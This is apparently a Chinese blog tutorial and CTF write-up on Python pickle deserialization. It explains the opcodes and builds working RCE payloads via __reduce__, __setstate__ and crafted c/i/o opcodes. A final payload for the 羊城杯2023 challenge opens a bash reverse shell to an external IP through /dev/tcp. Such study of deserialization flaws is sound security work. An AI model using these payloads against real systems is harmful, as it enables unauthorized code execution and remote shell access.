python pickle反序列化

python的反序列化相对于php反序列化比较的单一,php反序列化通过不断的变量覆盖,使得各个方法之间互相调用,从而导致了恶意方法的调用,而对于python反序列化,通过恶意的构造语句,实现了的命令执行,他更加像是一种命令的注入

1.pickle序列化

​ 把一些复杂的数据用字符串的方法储存起来,在使用的时候取出来重新反序列化就可以。

1
2
3
4
5
6
7
8
9
import pickle
class obj:
def __init__(self,str1,str2):
self.str1=str1;
self.str2=str2;
class1=obj("str1","str2")
a=pickle.dumps(class1)
print(a)
#输出b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\x93\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06ub.'

分析

首先可以看到在class1的地方,可以看到程序在这里进入了__init__方法内部,讲两个值全部赋值给了obj类里面的两个类

image-20230901131231848

然后继续跟踪,可以看到

image-20230901131412644

检查各个属性有没有存在在相关的类里面,没有存在就抛出错误

然后创建一个列表遍历所有的属性同时进行处理

将收集到的属性名缓存到类的 __slotnames__ 属性中,并返回这些属性名

然后完成这一次的序列化,得到序列化的字符串,在pickle函数里面,是一串字符串

2.使用pickletool去分析序列化的值

先贴上所有的字符表达的意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# Protocol 2

PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long
__main__.obj
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly
opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈 无
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 无
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 无
N 实例化一个None N 获得的对象入栈 无
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈 无
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 无
I 实例化一个int对象 Ixxx\n 获得的对象入栈 无
F 实例化一个float对象 Fx.x\n 获得的对象入栈 无
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈无
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 无
( 向栈中压入一个MARK标记 ( MARK标记入栈 无
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 无
) 向栈中直接压入一个空元组 ) 空元组入栈 无
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 无
] 向栈中直接压入一个空列表 ] 空列表入栈 无
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 无
} 向栈中直接压入一个空字典 } 空字典入栈 无
p 将栈顶对象储存至memo_n pn\n 无 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈 无
0 丢弃栈顶对象 0 栈顶对象被丢弃 无
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 无
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 无
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 无
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 无
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 无

在自己的程序里面添加上

1
pickletools.dis(a)

看到分析后的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    0: \x80 PROTO      4
2: \x95 FRAME 46
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'obj'
27: \x94 MEMOIZE (as 1)
28: \x93 STACK_GLOBAL
29: \x94 MEMOIZE (as 2)
30: ) EMPTY_TUPLE
31: \x81 NEWOBJ
32: \x94 MEMOIZE (as 3)
33: } EMPTY_DICT
34: \x94 MEMOIZE (as 4)
35: ( MARK
36: \x8c SHORT_BINUNICODE 'str1'
42: \x94 MEMOIZE (as 5)
43: h BINGET 5
45: \x8c SHORT_BINUNICODE 'str2'
51: \x94 MEMOIZE (as 6)
52: h BINGET 6
54: u SETITEMS (MARK at 35)
55: b BUILD
56: . STOP
highest protocol among opcodes = 4

通过使用

1
pickle.loads()

进入调试,去进行分析各个字符都去干了些什么

image-20230901133644636

首先读入x80进行判断版本,马上读入x04,得到这个字符串的序列化的协议版本是4.,如果没有这个版本就报错直接抛出

然后读入后面的x95,这表示后面的字节码操作构成了一个帧,帧长度为 46。

将接下来的 46 个字节放入一个 8 字节的框架中,并将该框架的长度作为 32 位整数进行存储。

使用x8c,把一个短的字符串推入到这个栈里面,长度大小是x80,即后面的__main__,用x94把一个栈顶的数据储存在一个字典里面

image-20230901135547300

此时的memo里面存在着

1
__main__

重复以上的操作,把长度是x03的”obj“推入到栈里面,然后存入到memo里面

构造一个__main__.obj类

读取/x93 把这个构造出来的对象缓存起来 ,放到这个stack里面

image-20230901142224278

然后继续把main.b推入栈里面,这个时候栈里面只有一个main.b

读取到)的时候,将一个空的元组放入到当前的栈里面

然后读取到x81,也就是执行load_obj

image-20230901142519336

可以看到将栈里面的东西弹出来

然后弹出来两个元素,一个空的元组和一个__main__.obj

然后对对象参数进行实例化,将类压入栈里面,这里实例化了obj这个对象,目前没有参数,然后再次压入到列表里面

}创建了一个字典,塞入到列表里面,现在列表里面是这样的

1
[main.obj:{}]

然后压入的mark操作符,触发loadmark

image-20230901144113134

这里建立了一个前序栈meta,将这个main.obj压入到前序栈里面,同时置空当前的栈。

  • 当前栈去处理接下来的信息,前序栈负责储存之前的状态

这里先按下不表,看到前面x8c读取了一个str1的值

使用x94推入到栈里面

h是从缓存里面获得索引号为5的值,推入到栈里面

重复这个操作,将对应的成员值推入到相关的栈里面

这个时候当前栈的值是

1
[str1,str1,str2,str2]

这个时候读取到u,开始进行实例的赋值操作

image-20230901145155998

记录下当前栈,将前面的前序栈(meta)里面的值覆盖掉现在当前栈里面的值

现在的item储存了原来starck的值

然后触发load_build

image-20230901145458392

取出栈里面的末尾的东西{},开始两个一组的读取item里面的元素

一个是键名一个是键值,这个时候就出现了

1
{'str1':'str1','str':'str2'}

最后栈里面存在就是这个b和这个字典

最后接受到build指令,使用dict的数据实例化对象b的值

现在我们得到了b的实例

3.reduce

如果reduce方法里面,存在一些风险函数,且里面的reduce方法中的参数我们可以操控,那么就产生了漏洞

或者压根就没有这个reduce方法,就会存在问题

reduce干了这样一件事情

  • 取当前栈的栈顶记为args,然后把它弹掉。
  • 取当前栈的栈顶记为f,然后把它弹掉。
  • args为参数,执行函数f,把结果压进当前栈。

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import pickletools
import os
class obj:
def __init__(self,str1,str2):
self.str1=str1;
self.str2=str2;
def __reduce__(self):
return(os.system,('dir',))
class1=obj("str1","str2")
a=pickle.dumps(class1)
print(a)

构造出来一个恶意的字符串

1
b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x03dir\x94\x85\x94R\x94.'

然后放到没有reduce的里面,可以看到

image-20230901153639134

成功执行了dir指令

我们分析这个字符串看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0: \x80 PROTO      4
2: \x95 FRAME 27
11: \x8c SHORT_BINUNICODE 'nt'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'dir'
32: \x94 MEMOIZE (as 3)
33: \x85 TUPLE1
34: \x94 MEMOIZE (as 4)
35: R REDUCE
36: \x94 MEMOIZE (as 5)
37: . STOP

可以看到这里的r指令,将dir作为了system的参数,执行了这个函数

但是如果写死了reduce方法是安全的,或者ban掉了r指令,又该怎么去利用呢

4.类似方法

而在python中,同样的有几个内置方法,会在对象被反序列化时调用。他们分别是:

1
2
3
__reduce__()  
__reduce_ex__()
__setstate__()

通过在他们下面写入有问题的shellcode,造成rce

举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import pickletools
import os
class obj:
def __init__(self,str1,str2):
self.str1=str1;
self.str2=str2;
def __setstate__(self,name):
os.system('dir')
# def __reduce__(self):
# return(os.system,('dir',))
class1=obj("str1","str2")
a=pickle.dumps(class1)
print(a)
b=a
pickle.loads(b)

效果

image-20230901172525587

5.setstate方法

我们发现到在load_build里面存在一些函数

1
2
3
4
5
6
7
8
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return

state会从栈里面去除一个字符,同时inst也会去栈里面取出栈尾的字符

如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。

假设有是这个方法,那我们可以先构造把__setstate__方法构造成os.system,然后再次built,将这个值build为“ls /”,但是这个时候会被因为已经存在这个方法,那么就会被交给setstate去处理,于是乎就造成了rce

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import pickletools
import os
class obj:
def __init__(self):
self.str1="str1";
self.str2="str2";
# def __setstate__(self):
# os.system('dir')
# def __reduce__(self):
# return(os.system,('dir',))
class1=obj()
a=pickle.dumps(class1)
print(a)#在这里输出b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\x93\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06ub.'
b=b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\x93\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06V__setstate__\ncos\nsystem\nubVdir\nb.'
pickle.loads(b)
#pickletools.dis(b)

我们加入了恶意的字符串

1
(V__setstate__\ncos\nsystem\nubV\nb.'

从而达到rce

image-20230901195418117

6.C指令操作码

c指令基于find_class方法进行全局变量的寻找,假设有一个这样的程序

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import pickletools
import os
class obj:
def __init__(self,str1,str2):
self.str1=str1
self.str2=str2
def __eq__(self,other):
return type(other )is obj and self.str1==other.str1 and self.str2==other.str2
a=pickle.dumps(obj(114514,"Web"))
b=pickletools.optimize(a)
pickletools.dis(b)

可以看到序列化数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    0: \x80 PROTO      4
2: \x95 FRAME 45
11: \x8c SHORT_BINUNICODE '__main__'
21: \x8c SHORT_BINUNICODE 'obj'
26: \x93 STACK_GLOBAL
27: ) EMPTY_TUPLE
28: \x81 NEWOBJ
29: } EMPTY_DICT
30: ( MARK
31: \x8c SHORT_BINUNICODE 'str1'
37: J BININT 114514
42: \x8c SHORT_BINUNICODE 'str2'
48: \x8c SHORT_BINUNICODE 'Web'
53: u SETITEMS (MARK at 30)
54: b BUILD
55: . STOP
highest protocol among opcodes = 4
1
b=b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x03obj\x93)\x81}(\x8c\x04str1JR\xbf\x01\x00\x8c\x04str2\x8c\x03Webub.'

如果我们修改为c的指令码

使用

1
c=b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00c__main__\nobj\n}(Vstr1\nK\x06Vstr2\nV114514\nub0c__main__\nobj\n)\x81}(\x8c\x04str1K\x06\x8c\x04str2\x8c\x06114514ub.'

将obj先压入栈,然后传入dict字典,然后改变了A的值,然后清空栈,压入和A相同的B类就可以做到绕过

7.i和o指令

分析load_inst函数

1
2
3
4
5
6
def load_inst(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self._instantiate(klass, self.pop_mark())
dispatch[INST[0]] = load_inst

load_init使用了._instantiate(klass, self.pop_mark())这个函数

1
2
3
4
5
6
7
8
9
10
11
def _instantiate(self, klass, args):
if (args or not isinstance(klass, type) or
hasattr(klass, "__getinitargs__")):
try:
value = klass(*args)
except TypeError as err:
raise TypeError("in constructor for %s: %s" %
(klass.__name__, str(err)), sys.exc_info()[2])
else:
value = klass.__new__(klass)
self.append(value)

看到这里存在klass(*args),如果是system(‘ls’)就完成了rce

其中*pop_mark()*是前序栈的值赋值给当前栈的内容

1
b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(Vdir\nios\nsystem\n0c__main__\nB\n)b.'

成功rce

o指令也是可以用于实例化一个类

同理,也是控制*__instantiate()*

修改payload

1
b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(cos\nsystem\nX\x03\x00\x00\x00diro0b.'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 0: \x80 PROTO      4
2: \x95 FRAME 43
11: \x8c SHORT_BINUNICODE '__main__'
21: \x8c SHORT_BINUNICODE 'B'
24: \x93 STACK_GLOBAL
25: ) EMPTY_TUPLE
26: \x81 NEWOBJ
27: } EMPTY_DICT
28: ( MARK
29: c GLOBAL 'os system'
40: X BINUNICODE 'dir'
48: o OBJ (MARK at 28)
49: 0 POP
50: b BUILD
51: . STOP

成功rce

8.羊城杯2023[pickleeeeeeeee]

前面是简单的session伪造

直接看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

ban了r指令,直接上面说了很多简单的指令了,这里不在赘述

1
b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no."

提权即可

图片迁移太麻烦了,就懒得干了